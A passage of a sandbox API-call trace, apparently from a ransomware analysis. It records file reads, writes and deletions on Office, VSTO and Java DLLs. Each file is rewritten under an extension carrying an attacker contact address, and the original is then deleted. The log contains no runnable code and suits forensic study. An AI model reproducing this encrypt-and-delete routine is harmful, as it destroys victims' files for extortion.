(lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0059.805] lstrlenW (lpString=".1cd") returned 4 [0059.805] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0059.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0059.805] lstrlenW (lpString=".jpg") returned 4 [0059.805] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0059.861] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.861] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0059.863] GetLastError () returned 0x0 [0059.863] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0xf1b50, lpOverlapped=0x0) returned 1 [0059.933] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf1b60, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf1b60, lpOverlapped=0x0) returned 1 [0059.950] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.950] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0059.950] SetEndOfFile (hFile=0x370) returned 1 [0059.950] CloseHandle (hObject=0x370) returned 1 [0060.081] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.081] SetEndOfFile (hFile=0x388) returned 1 [0060.095] CloseHandle (hObject=0x388) returned 1 [0060.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.095] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 1 [0060.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0060.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0060.095] lstrlenW (lpString=".doc") returned 4 [0060.095] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.095] lstrlenW (lpString=".docx") returned 5 [0060.095] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0060.095] lstrlenW (lpString=".pdf") returned 4 [0060.095] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.095] lstrlenW (lpString=".xls") returned 4 [0060.095] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.095] lstrlenW (lpString=".xlsx") returned 5 [0060.095] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0060.095] lstrlenW (lpString=".ppt") returned 4 [0060.096] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0060.096] lstrlenW (lpString=".zip") returned 4 [0060.096] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.096] lstrlenW (lpString=".rar") returned 4 [0060.096] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.096] lstrlenW (lpString=".bz2") returned 4 [0060.096] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.096] lstrlenW (lpString=".7z") returned 3 [0060.096] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0060.096] lstrlenW (lpString=".dbf") returned 4 [0060.096] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0060.096] lstrlenW (lpString=".1cd") returned 4 [0060.096] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62 [0060.096] lstrlenW (lpString=".jpg") returned 4 [0060.096] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.096] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.096] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0060.097] GetLastError () returned 0x0 [0060.097] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x59a70, lpOverlapped=0x0) returned 1 [0060.125] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x59a80, lpOverlapped=0x0) returned 1 [0060.130] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.130] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf0, lpOverlapped=0x0) returned 1 [0060.130] SetEndOfFile (hFile=0x370) returned 1 [0060.131] CloseHandle (hObject=0x370) returned 1 [0060.137] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.137] SetEndOfFile (hFile=0x388) returned 1 [0060.140] CloseHandle (hObject=0x388) returned 1 [0060.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.140] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1 [0060.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0060.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0060.141] lstrlenW (lpString=".doc") returned 4 [0060.141] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.141] lstrlenW (lpString=".docx") returned 5 [0060.141] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0060.141] lstrlenW (lpString=".pdf") returned 4 [0060.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.141] lstrlenW (lpString=".xls") returned 4 [0060.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.141] lstrlenW (lpString=".xlsx") returned 5 [0060.141] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0060.141] lstrlenW (lpString=".ppt") returned 4 [0060.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0060.141] lstrlenW (lpString=".zip") returned 4 [0060.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.141] lstrlenW (lpString=".rar") returned 4 [0060.141] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.141] lstrlenW (lpString=".bz2") returned 4 [0060.141] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.141] lstrlenW (lpString=".7z") returned 3 [0060.141] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0060.141] lstrlenW (lpString=".dbf") returned 4 [0060.141] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0060.141] lstrlenW (lpString=".1cd") returned 4 [0060.141] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0060.141] lstrlenW (lpString=".jpg") returned 4 [0060.141] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.188] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.188] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.188] GetLastError () returned 0x0 [0060.188] ReadFile (in: hFile=0x378, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x29080, lpOverlapped=0x0) returned 1 [0060.576] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x29090, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x29090, lpOverlapped=0x0) returned 1 [0060.598] ReadFile (in: hFile=0x378, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.598] WriteFile (in: hFile=0x308, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xe8, lpOverlapped=0x0) returned 1 [0060.598] SetEndOfFile (hFile=0x308) returned 1 [0060.598] CloseHandle (hObject=0x308) returned 1 [0060.603] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.603] SetEndOfFile (hFile=0x378) returned 1 [0060.616] CloseHandle (hObject=0x378) returned 1 [0060.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.617] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 1 [0060.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0060.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0060.617] lstrlenW (lpString=".doc") returned 4 [0060.617] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.617] lstrlenW (lpString=".docx") returned 5 [0060.617] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0060.617] lstrlenW (lpString=".pdf") returned 4 [0060.617] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.617] lstrlenW (lpString=".xls") returned 4 [0060.617] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.617] lstrlenW (lpString=".xlsx") returned 5 [0060.617] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0060.617] lstrlenW (lpString=".ppt") returned 4 [0060.617] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0060.617] lstrlenW (lpString=".zip") returned 4 [0060.617] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.617] lstrlenW (lpString=".rar") returned 4 [0060.617] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.617] lstrlenW (lpString=".bz2") returned 4 [0060.617] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.618] lstrlenW (lpString=".7z") returned 3 [0060.618] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0060.618] lstrlenW (lpString=".dbf") returned 4 [0060.618] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0060.618] lstrlenW (lpString=".1cd") returned 4 [0060.618] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0060.618] lstrlenW (lpString=".jpg") returned 4 [0060.618] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.879] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.879] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.880] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0070.880] GetLastError () returned 0x0 [0070.880] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x4240, lpOverlapped=0x0) returned 1 [0070.926] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x4250, lpOverlapped=0x0) returned 1 [0070.927] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.927] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xe2, lpOverlapped=0x0) returned 1 [0070.927] SetEndOfFile (hFile=0x370) returned 1 [0070.928] CloseHandle (hObject=0x370) returned 1 [0070.928] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.928] SetEndOfFile (hFile=0x388) returned 1 [0070.928] CloseHandle (hObject=0x388) returned 1 [0070.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0070.929] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1 [0070.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0070.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0070.929] lstrlenW (lpString=".doc") returned 4 [0070.929] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.929] lstrlenW (lpString=".docx") returned 5 [0070.929] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0070.929] lstrlenW (lpString=".pdf") returned 4 [0070.929] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.929] lstrlenW (lpString=".xls") returned 4 [0070.929] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.929] lstrlenW (lpString=".xlsx") returned 5 [0070.929] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0070.929] lstrlenW (lpString=".ppt") returned 4 [0070.929] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.929] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0070.929] lstrlenW (lpString=".zip") returned 4 [0070.929] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.929] lstrlenW (lpString=".rar") returned 4 [0070.929] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.929] lstrlenW (lpString=".bz2") returned 4 [0070.929] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.929] lstrlenW (lpString=".7z") returned 3 [0070.930] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0070.930] lstrlenW (lpString=".dbf") returned 4 [0070.930] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0070.930] lstrlenW (lpString=".1cd") returned 4 [0070.930] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0070.930] lstrlenW (lpString=".jpg") returned 4 [0070.930] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.937] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.937] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.937] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0070.937] GetLastError () returned 0x0 [0070.937] ReadFile (in: hFile=0x354, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x15040, lpOverlapped=0x0) returned 1 [0070.954] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x15050, lpOverlapped=0x0) returned 1 [0070.956] ReadFile (in: hFile=0x354, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.956] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf0, lpOverlapped=0x0) returned 1 [0070.956] SetEndOfFile (hFile=0x398) returned 1 [0070.956] CloseHandle (hObject=0x398) returned 1 [0070.956] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.956] SetEndOfFile (hFile=0x354) returned 1 [0070.957] CloseHandle (hObject=0x354) returned 1 [0070.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0070.958] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1 [0070.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0070.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0070.958] lstrlenW (lpString=".doc") returned 4 [0070.958] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.958] lstrlenW (lpString=".docx") returned 5 [0070.958] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0070.958] lstrlenW (lpString=".pdf") returned 4 [0070.958] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.958] lstrlenW (lpString=".xls") returned 4 [0070.958] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.958] lstrlenW (lpString=".xlsx") returned 5 [0070.958] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0070.958] lstrlenW (lpString=".ppt") returned 4 [0070.958] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0070.958] lstrlenW (lpString=".zip") returned 4 [0070.958] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.958] lstrlenW (lpString=".rar") returned 4 [0070.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.958] lstrlenW (lpString=".bz2") returned 4 [0070.958] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.958] lstrlenW (lpString=".7z") returned 3 [0070.958] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.958] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0070.958] lstrlenW (lpString=".dbf") returned 4 [0070.958] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0070.959] lstrlenW (lpString=".1cd") returned 4 [0070.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53 [0070.959] lstrlenW (lpString=".jpg") returned 4 [0070.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.009] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.009] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.009] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0071.010] GetLastError () returned 0x0 [0071.010] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0071.098] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0071.137] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x1a650, lpOverlapped=0x0) returned 1 [0071.563] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x1a660, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x1a660, lpOverlapped=0x0) returned 1 [0071.572] ReadFile (in: hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.572] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf6, lpOverlapped=0x0) returned 1 [0071.573] SetEndOfFile (hFile=0x398) returned 1 [0071.573] CloseHandle (hObject=0x398) returned 1 [0071.573] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, 